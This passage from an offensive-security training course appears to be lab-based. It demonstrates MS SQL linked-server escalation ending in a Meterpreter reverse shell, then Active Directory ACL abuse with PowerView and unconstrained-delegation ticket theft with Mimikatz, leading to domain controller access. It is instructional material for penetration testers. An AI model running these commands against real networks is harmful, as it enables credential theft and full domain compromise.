Linked SQL server: APPSRV01
Linked SQL server: DC01\SQLEXPRESS

Listing 57 - DC01 has a link to APPSRV01

The SQL server on dc01 has a link to the SQL server on appsrv01. This
means that we could follow the link to dc01 to obtain the SA login
security context, and then return back over the link to appsrv01.

To investigate what privileges that gives us on appsrv01, we can use
the OPENQUERY keyword twice. First, we'll use it to execute a query
on dc01 and inside that, we'll use it again to execute a query on
appsrv01.

select mylogin from openquery("dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')

Listing 58 - Finding the login on APPSRV01 after following the links

Once we implement this in our C# console application (while
remembering to escape the double quotes), we find that our privileges
on appsrv01 have been elevated.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Executing as login: sa

Listing 59 - We are in security context of SA after following links

We started with the corp1\offsec login but after following the link
to dc01 and then back to appsrv01, we have obtained execution as sa.
Nice!

Since we now have sysadmin role membership on appsrv01, we can get
code execution through the same technique as in the previous section.

Again, the most direct way is with the AT keyword, but we have to
execute a query on the linked server dc01, which then executes a query
on appsrv01. This means we need two instances of the AT keyword as
shown in Listing 60.

EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT appsrv01') AT dc01

Listing 60 - Enabling advanced options on appsrv01

It is also important to notice the use of single quotes in the SQL
query. We have to escape all embedded single quotes with single
quotes, which means the inner string (show advanced options) needs
four single quotes.

Each time we follow a link, the number of single quotes doubles,
so we need to be careful when crafting queries.

We can modify the remaining SQL queries in the same manner to execute
our PowerShell download cradle on appsrv01. Once the C# console
application is updated and executed, we obtain our reverse Meterpreter
shell as given in Listing 61. Nice!

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.6; (UUID: tqdniu2q) Staging x64 payload (202329 bytes) ...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.6:50270)


meterpreter > sysinfo
Computer        : APPSRV01
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
...

Listing 61 - Reverse shell from appsrv01

If no other privilege escalation paths are possible, we may be able to
use a bidirectional link to elevate privileges on the same SQL server.

In this section, we saw that it's possible to enumerate nested linked
SQL servers and even execute queries on them. In theory, this allows
us to follow as many links as we want and possibly gain code execution
from many SQL servers.

Exercises

  1. Repeat the enumeration steps to find the login security context
    after following the link first to dc01 and then back to appsrv01.
  2. Obtain a reverse shell on appsrv01 by following the links.

Extra Mile

A PowerShell script called PowerUpSQL[900] exists that can
help automate all the enumerations and attacks we have performed in
this module.

A C# implementation of PowerUpSQL called Database Audit Framework &
Toolkit
(DAFT)[901] also exists.

Download and use either of them to access, elevate, and own the two
SQL servers.

Evil SQL Client (ESC)[902] is yet another implementation of
the same features written in C#. It has been prebuilt to work with
MSBuild to avoid detection and bypass Application Whitelisting.

Wrapping Up

In this module, we presented multiple techniques to attack and
compromise a Microsoft SQL server in a domain setting.

Most of the techniques also apply to SQL injection vulnerabilities.
As such, it may be possible to compromise multiple SQL servers deep in
the internal network directly from a perimeter web server if insecure
permissions and SQL server links exist.

This module focused exclusively on Microsoft SQL due to its common
authentication integration with Active Directory, but other database
types such as Oracle and MySQL can have similar misconfigurations.
It's also possible to have SQL links between databases of different
types.

Active Directory Exploitation

Designed specifically for large-scale deployment, Active Directory
(AD) is a central component of most mid to large-size organizations,
seamlessly handling multiple authentication types. The complexity of
Active Directory object permissions, Kerberos delegation, and Active
Directory trust in particular sets the stage for several interesting
and often-neglected attack vectors that we will explore in this
module.

As we will discover, a weak or insecure AD configuration in any
subsidiary or department of a large organization can lead to complete
compromise of that organization, making this topic particularly
relevant for penetration testers.

AD Object Security Permissions

In an Active Directory implementation, all elements such as users,
computers, or groups are objects with an associated set of access
permissions, not unlike permissions associated with files on a local
file system.

If AD permissions are set incorrectly, we may be able to exploit them
to perform privilege escalation or lateral movement within the domain.
In the following sections, we'll discuss these securable object
permissions and demonstrate how to enumerate and exploit them.

Object Permission Theory

Let's begin with a discussion of Active Directory securable object
permissions.

Within Active Directory, access to an object is controlled through a
Discretionary Access Control List (DACL), which consists of a series
of Access Control Entries (ACE).[903] Each ACE defines whether
access to the object is allowed or denied, which entity the ACE
applies to, and the type of access.

Note that when multiple ACE's are present, their order is important.
If a deny ACE comes before an allow ACE, the deny takes precedence,
since the first match principle applies.

The concept of DACL and ACE are relatively similar to Windows file
access permissions, but the information stored for each ACE is a
bit complex. An ACE is stored according to the Security Descriptor
Definition Language
(SDDL),[904] which is a string delimited by
semicolons.

The SDDL prototype is shown in Listing
1.[905]

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid

Listing 1 - ACE string prototype

Each element of the ACE string consists of one or more concatenated
values. The first element is the ace_type, which designates whether
the ACE allows or denies permissions. Next, the ace_flags set flags
related to inheritance on child objects. The third element is the
access rights[906] applied by the ACE, while object_guid
and inherit_object_guid allows the ACE to apply to only specific
objects as provided by the GUID values. Finally, the account_sid is
the SID of the object that the ACE applies to.

As an example, imagine that the ACE on object A applies to object B.
This grants or denies object B access to object A with the specified
access rights.

Since the ACE is detailed by the SDDL format, it can be difficult
to read as illustrated by the example ACE string shown in Listing
2.

(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)

Listing 2 - ACE string example

As highlighted above, only the ACE type, access rights, and SID are
populated but are not easily readable. We can, however, use Microsoft
documentation[907]^,[908] to translate the ACE string as
follows:

AceType:       
A = ACCESS_ALLOWED_ACE_TYPE

Access rights:
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL

Ace Sid: 
S-1-1-0

Listing 3 - ACE string translated

The translated ACE string shown in Listing 3
reveals that if we control the object given by the ACE SID, we obtain
the WRITE_DAC, WRITE_OWNER, and GENERIC_ALL access rights among
others.

From a penetration testing perspective, this means that improperly
configured DACLs can lead to compromise of user accounts, domain
groups, or even computers.

We will discuss these and other compromise techniques in later
sections, but we must first enumerate the DACLs.

All authenticated domain users can read AD objects (such as users,
computers, and groups) and their DACLs, meaning we can enumerate
weak ACL configurations from a compromised low-privilege domain user
account.

Unfortunately, there are rarely tools installed for this task
but we can perform this lookup through LDAP[909] with the
Get-ObjectAcl[910] PowerView[656-1] method.

To test this out, we'll log in to the Windows 10 client as the
Offsec domain user (prod\offsec) and open PowerShell with a
bypass execution policy. PowerView is located in C:\Tools,
and after importing it, we can use Get-ObjectAcl, specifying
our own user:

PS C:\tools> . .\powerview.ps1

PS C:\tools> Get-ObjectAcl -Identity offsec

ObjectDN               : CN=Offsec,OU=prodUsers,DC=prod,DC=corp1,DC=com
ObjectSID              : S-1-5-21-3776646582-2086779273-4091361643-1111
ActiveDirectoryRights  : ReadProperty
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 16
SecurityIdentifier     : S-1-5-21-3776646582-2086779273-4091361643-553
AceType                : AccessAllowedObject
AceFlags               : None
IsInherited            : False
InheritanceFlags       : None
PropagationFlags       : None
AuditFlags             : None
...

Listing 4 - Output from Get-ObjectAcl

The Get-ObjectAcl output prints the often-lengthy list of ACEs applied
to the object. In the output above, only the first ACE is shown and
the access rights, SID, and ACE type are highlighted.

The output tells us that the AD object identified by the
S-1-5-21-3776646582-2086779273-4091361643-553 SID has ReadProperty
access rights to the Offsec user. The SID is difficult to read
but PowerView includes the ConvertFrom-SID method, which
can convert the SID to a username or group as displayed in Listing
5.

PS C:\tools> ConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-553
PROD\RAS and IAS Servers

Listing 5 - Converting from SID to group name

The converted SID shows us that a default AD domain group called RAS
and IAS Servers
has ReadProperty access rights to our current user.
This is a fairly common access right, however, and does not indicate a
vulnerability.

This enumeration produced a lot of output and required a manual SID
conversion. To automate this, we can wrap Get-ObjectAcl in a
ForEach loop to resolve the SID through ConvertFrom-SID.

PS C:\tools> Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}

Listing 6 - Converting SID for each identity

This appends the resolved user or group name to each ACE and shows
the ACE for members of the Domain Admins group as shown in Listing
7:

...
AceType               : AccessAllowed
ObjectDN              : CN=Offsec,OU=prodUsers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3776646582-2086779273-4091361643-1111
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3776646582-2086779273-4091361643-512
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : PROD\Domain Admins
...

Listing 7 - Access rights to Offsec for Domain Admins

Not surprisingly, members of the Domain Admins group have the
GenericAll access right, which equates to the file access equivalent
of Full Control.

Armed with a basic understanding of DACLs and ACEs and a working
enumeration technique, we'll explore a series of misconfigurations in
the next two sections that allow us to compromise additional users or
groups.

Exercises

  1. Repeat the enumeration techniques with PowerView shown in this
    section.
  2. Filter the output further to only display the ACE for the current
    user.

Abusing GenericAll

In our first case study, we'll focus on the GenericAll access right,
which gives full control of the targeted object.

To begin, we first enumerate all domain users that our current account
has GenericAll rights to.

One approach is to gather all domain users with PowerView's
Get-DomainUser method and pipe the output into
Get-ObjectAcl.

This will enumerate all ACEs for all domain users. Next, we can
resolve the SID, add it to the output, and finally filter on usernames
that match our current user as set in the $env:UserDomain and
$env:Username environment variables:

PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

AceType               : AccessAllowed
ObjectDN              : CN=TestService1,OU=prodUsers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3776646582-2086779273-4091361643-1604
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3776646582-2086779273-4091361643-1111
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : PROD\offsec
...

Listing 8 - Locating all ACEs for current user

The output reveals that our current user (Offsec) has the GenericAll
access right on the TestService1 account. This is likely a
misconfiguration since this is a non-default access right and is
excessive.

Although the misconfigurations in this module are used for
demonstration purposes, some applications (like Exchange or
SharePoint) require seemingly excessive access rights to their
associated service accounts.

The GenericAll access right gives us full control over the
TestService1 user, which among other things, allows us to change the
password of the account without knowledge of the old password:

PS C:\tools> net user testservice1 h4x /domain
The request will be processed at a domain controller for domain prod.corp1.com.

The command completed successfully.

Listing 9 - Changing password of TestService1

Once we reset the password, we can either log in to a computer (like
appsrv01) with the account or create a process in the context of that
user to perform a pass-the-ticket attack.

Compromising an account with an allowed GenericAll access right
is very simple. We can also abuse the ForceChangePassword and
AllExtendedRights access rights to change the password of a user
account in a similar way without supplying the old password.

So far, we have only dealt with user accounts, but since everything in
Active Directory is an object, these concepts also apply to groups.

For example, we can enumerate all domain groups that our current
user has explicit access rights to by piping the output of
Get-DomainGroup into Get-ObjectAcl and filtering it,
in a process similar to the previous user account enumeration:

PS C:\tools> Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

AceType               : AccessAllowed
ObjectDN              : CN=TestGroup,OU=prodGroups,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3776646582-2086779273-4091361643-1607
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3776646582-2086779273-4091361643-1111
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : PROD\offsec

Listing 10 - Enumerating group access rights

Listing 10 shows that we have GenericAll
access rights on the TestGroup group. Since GenericAll gives us
full access to the group, we can compromise the group by simply adding
ourselves to it:

PS C:\tools> net group testgroup offsec /add /domain
The request will be processed at a domain controller for domain prod.corp1.com.

The command completed successfully.

Listing 11 - Adding the user offsec to TestGroups

As with user accounts, we can also use the AllExtendedRights and
GenericWrite access rights in a similar way.

GenericAll is an extremely powerful access right that can lead to very
straightforward compromise. In the next section, we'll cover another
access right that we can leverage for compromise.

Exercises

  1. Enumerate domain users and search for associated GenericAll
    permissions.
  2. Leverage the access right to take over the TestService1 account
    and obtain code execution in the context of that user through a
    reverse shell.
  3. Enumerate domain groups and leverage GenericAll permissions to
    obtain group membership.

Abusing WriteDACL

As previously stated, all Active Directory objects have a DACL and
one object access right in particular (WriteDACL) grants permission
to modify the DACL itself. In this section, we'll leverage this to
compromise an account.

Before we start the attack, we'll enumerate misconfigured user
accounts with Get-DomainUser and Get-ObjectAcl:

PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

...

AceType               : AccessAllowed
ObjectDN              : CN=TestService2,OU=prodUsers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : ReadProperty, GenericExecute, WriteDacl
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3776646582-2086779273-4091361643-1608
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3776646582-2086779273-4091361643-1111
AccessMask            : 393236
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : PROD\offsec
...

Listing 12 - Enumerating WriteDACL access rights

The output in Listing 12 reveals that our current user
has WriteDACL access rights to the TestService2 user, which allows
us to add new access rights like GenericAll.

We can use the Add-DomainObjectAcl PowerView method to apply
additional access rights such as GenericAll, GenericWrite, or even
DCSync[911] if the targeted object is the domain object.

For example, let's add the GenericAll access right to the
TestService2 object:

PS C:\tools> Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All

Listing 13 - Adding access rights with Add-DomainObjectAcl

Although the method is called Add-DomainObjectAcl, it will
actually modify the current ACE if an entry already exists.

After attempting to modify the DACL, we'll dump it again to verify
that GenericAll was applied correctly:

PS C:\tools> Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}


AceType               : AccessAllowed
ObjectDN              : CN=TestService2,OU=prodUsers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3776646582-2086779273-4091361643-1608
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3776646582-2086779273-4091361643-1111
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : PROD\offsec

Listing 14 - Verifying the modified access rights

The highlighted section of Listing 14 reveals that we
now have GenericAll access rights to TestService2. Let's proceed to
change its password:

PS C:\tools> net user testservice2 h4x /domain
The request will be processed at a domain controller for domain prod.corp1.com.

The command completed successfully.

Listing 15 - Changing the password of TestService2

The password change was successful. As demonstrated, the WriteDACL
access right is just as powerful as GenericAll.

Although enumerating access rights for our current user is beneficial,
we can also map out all access rights to locate other user accounts or
groups that can lead to compromise.

This seems like a daunting task to perform against a large
network but we can do this relatively easily with the
BloodHound[912]^,[913] PowerShell script or its C#
counterpart SharpHound.[914] These tools enumerate all
domain attack paths including users, groups, computers, GPOs,[915]
and misconfigured access rights.

We can also leverage the BloodHound JavaScript web application[916]
locally to visually display prospective attack paths, which is
essential during a penetration test against large Active Directory
infrastructures.

Running these tools against our small lab domain would yield
unimpressive results, but these tools are invaluable during a large
penetration tests.

Exercises

  1. Enumerate the network to discover accounts with compromisable
    WriteDACL access rights.
  2. Leverage the WriteDACL access right to compromise affected
    accounts.

Extra Mile

GenericWrite applied to a user account can lead to compromise. Perform
enumeration in the labs to discover any GenericWrite misconfigurations
and work out how to compromise the relevant account.

Kerberos Delegation

Application and data access configurations often require
fine-grained permissions, which can create design issues and security
misconfigurations. One classic example of this lies in the Kerberos
protocol and its authentication mechanism.

For example, consider an internal web server application that is only
available to company employees. This web application uses Windows
Authentication
and retrieves data from a backend database. In this
scenario, the web application should only be able to access data from
the database server if the user accessing the web application has
appropriate access according to Active Directory group membership.

Kerberos does not directly provide a way to accomplish this. When the
web application uses Kerberos authentication, it is only presented
with the user's service ticket. This service ticket contains access
permissions for the web application, but the web server service
account can not use it to access the backend database. This is known
as the Kerberos double-hop issue.

Microsoft's Kerberos delegation solves this design issue and provides
a way for the web server to authenticate to the backend database on
behalf of the user. Microsoft released several implementations of
this including unconstrained delegation (in 2000), constrained
delegation
(in 2003), and resource based constrained delegation
(in 2012). These implementations solved various security issues and
each is available at the time of this writing, providing backwards
compatibility. However, resource-based constrained delegation requires
a domain functional level[917] of 2012.

In the next sections, we will discuss each of these delegation types
and demonstrate how they can be exploited.

Unconstrained Delegation

In this section, we'll discuss unconstrained delegation, its specific
security ramifications, and demonstrate how to exploit it. First, we
must define unconstrained delegation and explain how it works. We'll
begin with an overview of Kerberos authentication.

When a user successfully logs in to a computer, a Ticket Granting
Ticket
(TGT) is returned. Once the user requests access to a service
that uses Kerberos authentication, a Ticket Granting Service ticket
(TGS) is generated by the Key Distribution Center (KDC) based on the
TGT and returned to the user.

This TGS is then sent to the service, which validates the access. Note
that this TGS only allows that specific user to access that specific
service.

Since the service cannot reuse the TGS to authenticate to a backend
service, any Kerberos authentication stops here. Unconstrained
delegation solves this with a forwardable TGT.[918]

When the user requests access for a service ticket against a service
that uses unconstrained delegation, the request also includes a
forwardable TGT as illustrated in Figure 1.

Figure 1: Kerberos communication for unconstrained delegation

The KDC returns a TGT with the forward flag set along with a session
key for that TGT and a regular TGS. The user's client embeds the TGT
and the session key into the TGS and sends it to the service, which
can now impersonate the user to the backend service.

In the previous example, this means we request a TGS for a web server
service along with a forwardable TGT. We then embed the TGT into the
TGS and send it to the web server service. The web server is now able
to perform authentication to the backend database as our user and
extract the required information.

This solves the double-hop issue and provides a working solution, but
as we will soon discuss, this introduces a number of problems as well.

Since the frontend service receives a forwardable TGT, it can perform
authentication on behalf of the user to any service (because of
unconstrained delegation), not just the intended backend service. In
our scenario, this means that if we succeed in compromising the web
server service and a user authenticates to it, we can steal the user's
TGT and authenticate to any service. This is especially interesting if
the authenticating user is a high-privileged domain account.

Now that we have covered the theory, let's perform this attack in the
labs.

As with most attack techniques, we'll begin with enumeration.
Fortunately, the Domain Controller (DC) stores the information about
computers configured with unconstrained delegation and makes this
information available for all authenticated users.

The information is stored in the userAccountControl[374-2] property
as TRUSTED_FOR_DELEGATION, which is represented with a numerical
value of 524288.

From the Windows 10 client as the Offsec domain user, we'll
use Powerview to enumerate unconstrained delegation through
the Get-DomainComputer method by supplying the
-Unconstrained flag, which parses the userAccountControl
property for each computer:

PS C:\tools> Get-DomainComputer -Unconstrained
...

logoncount                               : 94
badpasswordtime                          : 12/31/1600 4:00:00 PM
distinguishedname                        : CN=APPSRV01,OU=prodComputers,DC=prod,DC=corp1,DC=com
objectclass                              : {top, person, organizationalPerson, user...}
badpwdcount                              : 0
lastlogontimestamp                       : 4/3/2020 7:13:37 AM
objectsid                                : S-1-5-21-3776646582-2086779273-4091361643-1110
samaccountname                           : APPSRV01$
localpolicyflags                         : 0
codepage                                 : 0
samaccounttype                           : MACHINE_ACCOUNT
countrycode                              : 0
cn                                       : APPSRV01
accountexpires                           : NEVER
whenchanged                              : 4/6/2020 5:59:45 PM
instancetype                             : 4
usncreated                               : 28698
objectguid                               : 00056504-3939-4ce1-8795-5e2766613395
operatingsystem                          : Windows Server 2016 Standard
operatingsystemversion                   : 10.0 (14393)
lastlogoff                               : 12/31/1600 4:00:00 PM
msds-allowedtoactonbehalfofotheridentity : {1, 0, 4, 128...}
objectcategory                           : CN=Computer,CN=Schema,CN=Configuration,DC=corp1,DC=com
dscorepropagationdata                    : {4/6/2020 1:55:02 PM, 4/6/2020 1:54:34 PM, 4/6/2020
                                           1:34:32 PM, 4/6/2020 1:07:59 PM...}
serviceprincipalname                     : {TERMSRV/APPSRV01, TERMSRV/APPSRV01.prod.corp1.com,
                                           WSMAN/APPSRV01, WSMAN/APPSRV01.prod.corp1.com...}
lastlogon                                : 4/13/2020 4:21:01 AM
iscriticalsystemobject                   : False
usnchanged                               : 49358
useraccountcontrol                       : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
whencreated                              : 4/3/2020 2:13:37 PM
primarygroupid                           : 515
pwdlastset                               : 4/3/2020 7:13:37 AM
msds-supportedencryptiontypes            : 28
name                                     : APPSRV01
dnshostname                              : APPSRV01.prod.corp1.com

Listing 16 - Finding computers configured with unconstrained delegation

The appsrv01 machine is configured with unconstrained delegation and
will be our target in this section.

Service accounts can also be configured with unconstrained
delegation if the application executes in the context of the service
account rather than the machine account.

To abuse unconstrained delegation, we must first compromise the
computer or service account in question. We'll begin by resolving the
IP address of appsrv01 with nslookup:

PS C:\tools> nslookup appsrv01
Server:  UnKnown
Address:  192.168.120.70

Name:    appsrv01.prod.corp1.com
Address:  192.168.120.75

Listing 17 - Finding IP address of appsrv01

At this stage, we must either perform lateral movement onto appsrv01
or compromise a vulnerable application on that machine. For purposes
of demonstration, we'll simply log in to appsrv01 as the Offsec user
instead, which is local administrator on the target system.

When unconstrained delegation is operating normally, the service
account hosting the application can freely make use of the forwarded
tickets it receives from users. This means if we compromise the
service account as a part of an attack, we can exploit unconstrained
delegation without needing local administrative privileges, because we
already have access to all affected tickets.

In our example, we logged in to appsrv01 as the Offsec user as part
of our attack simulation. Because of this, we must use administrative
privileges to extract the TGTs supplied by users to IIS.

First, we'll launch Mimikatz from an administrative command prompt and
list all tickets present with sekurlsa::tickets as shown in
Listing 18.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets

Authentication Id : 0 ; 41754630 (00000000:027d2006)
Session           : RemoteInteractive from 4
User Name         : offsec
Domain            : PROD
Logon Server      : CDC01
Logon Time        : 4/13/2020 4:46:52 AM
SID               : S-1-5-21-3776646582-2086779273-4091361643-1111

         * Username : offsec
         * Domain   : PROD.CORP1.COM
         * Password : (null)

        Group 0 - Ticket Granting Service
         [00000000]
           Start/End/MaxRenew: 4/13/2020 4:46:53 AM ; 4/13/2020 2:46:52 PM ; 4/20/2020 4:46:52 AM
           Service Name (02) : LDAP ; CDC01.prod.corp1.com ; prod.corp1.com ; @ PROD.CORP1.COM
           Target Name  (02) : LDAP ; CDC01.prod.corp1.com ; prod.corp1.com ; @ PROD.CORP1.COM
           Client Name  (01) : offsec ; @ PROD.CORP1.COM ( PROD.CORP1.COM )
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             3baefc16bac50328ae442fa78c3599b820479a603544e21e0dcc6bea73f30db5
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 4/13/2020 4:46:52 AM ; 4/13/2020 2:46:52 PM ; 4/20/2020 4:46:52 AM
           Service Name (02) : krbtgt ; PROD.CORP1.COM ; @ PROD.CORP1.COM
           Target Name  (02) : krbtgt ; prod ; @ PROD.CORP1.COM
           Client Name  (01) : offsec ; @ PROD.CORP1.COM ( prod )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             d9b04d7cb8960337ecab1774c96bdb978fba55b72e42957fd8769663fd8104cf
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
...

Listing 18 - No tickets from foreign users

We find TGTs and TGSs related to the Offsec user along with the
computer account, but no other domain users.

Typically, a machine would only be configured with unconstrained
delegation because it hosts an application that requires it. An Nmap
scan against this machine reveals a single running application: an
IIS-hosted web site running on port 80.

Since this is a legitimate site, we can either wait for a user
to connect or leverage an internal phishing attack to solicit
visits. In our example, we'll simulate this by logging in to
the Windows 10 client as the admin domain user and browsing to
http://appsrv01. Since the web application is configured with
Windows authentication, the Kerberos protocol is used.

After the browser has loaded the web page (which in our example is
just a default IIS splash screen), we'll switch back to appsrv01 and
execute the sekurlsa::tickets command again:

...
Authentication Id : 0 ; 42304798 (00000000:0285851e)
Session           : Network from 0
User Name         : admin
Domain            : PROD
Logon Server      : (null)
Logon Time        : 4/13/2020 5:14:40 AM
SID               : S-1-5-21-3776646582-2086779273-4091361643-1105

         * Username : admin
         * Domain   : PROD.CORP1.COM
         * Password : (null)

        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 4/13/2020 5:14:40 AM ; 4/13/2020 3:11:20 PM ; 4/20/2020 5:11:20 AM
           Service Name (02) : krbtgt ; PROD.CORP1.COM ; @ PROD.CORP1.COM
           Target Name  (--) : @ PROD.CORP1.COM
           Client Name  (01) : admin ; @ PROD.CORP1.COM
           Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             517cd6b29bac62711b184487d095507c5231b9d921fa7ae8c52a475edf721474
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
...

Listing 19 - TGT for admin user is present

This time, we find a TGT for the admin user and it is flagged
as forwardable. We can use the /export flag with
sekurlsa::tickets to dump it to disk and then inject
the TGT contents from the output file into our process with the
kerberos::ptt command:

mimikatz # sekurlsa::tickets /export

...

Group 2 - Ticket Granting Ticket
 [00000000]
   Start/End/MaxRenew: 4/13/2020 5:14:40 AM ; 4/13/2020 3:11:20 PM ; 4/20/2020 5:11:20 AM
   Service Name (02) : krbtgt ; PROD.CORP1.COM ; @ PROD.CORP1.COM
   Target Name  (--) : @ PROD.CORP1.COM
   Client Name  (01) : admin ; @ PROD.CORP1.COM
   Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
   Session Key       : 0x00000012 - aes256_hmac
     517cd6b29bac62711b184487d095507c5231b9d921fa7ae8c52a475edf721474
   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
   * Saved to file [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi !

...

mimikatz # kerberos::ptt [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi

* File: '[0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi': OK

Listing 20 - Dumping and injecting TGT

With the TGT for the admin user injected into memory, we can
exit Mimikatz and test our access on the domain controller with
PsExec:

mimikatz # exit
Bye!

C:\Tools> C:\Tools\SysinternalsSuite\PsExec.exe \\cdc01 cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
prod\admin

Listing 21 - Obtaining code execution on the domain controller

We have achieved code execution on the domain controller since the
admin user is a member of the Domain Admins group.

This illustrates that if a user connects to a service that is
configured with unconstrained Kerberos delegation, that user can be
compromised.

By default, all users allow their TGT to be delegated,
but privileged users can be added to the Protected Users
group,[919] which blocks delegation. Obviously, this will also
break the functionality of the application that required unconstrained
delegation for those users.

In the next section, we'll improve our abuse of unconstrained
delegation so that we do not have to rely on social engineering an
administrative user.

Exercise

  1. Repeat the attack shown in this section to achieve code execution
    on the domain controller.

Reboot appsrv01 between sections to ensure no prior tickets are
present in memory.

I Am a Domain Controller

In the previous section, we demonstrated that an application or
service running on a machine with unconstrained delegation can lead to
a complete domain compromise. However, the attack we performed relied
on a privileged user accessing the target application.

In this section, we'll demonstrate a technique that will allow us to
force a high-privileged authentication without any user interaction.
This will allow us to compromise the entire domain if we succeed in an
initial compromise of a single instance of unconstrained delegation.

We previously exploited the printer bug to escalate our privileges
on a target. We achieved this by coercing the SYSTEM account to
authenticate locally via the MS-RPRN RPC interface.

However, as stated earlier, this attack was originally designed to
work in an Active Directory environment. Specifically, the idea behind
the SpoolSample tool we used in a previous module is to force a Domain
Controller to connect back to a system configured with unconstrained
delegation. This eventually allows the attacker to steal a TGT for the
domain controller computer account.

The RPC interface we leveraged locally is indeed also accessible
over the network through TCP port 445 if the host firewall allows it.
TCP port 445 is typically open on Windows servers, including domain
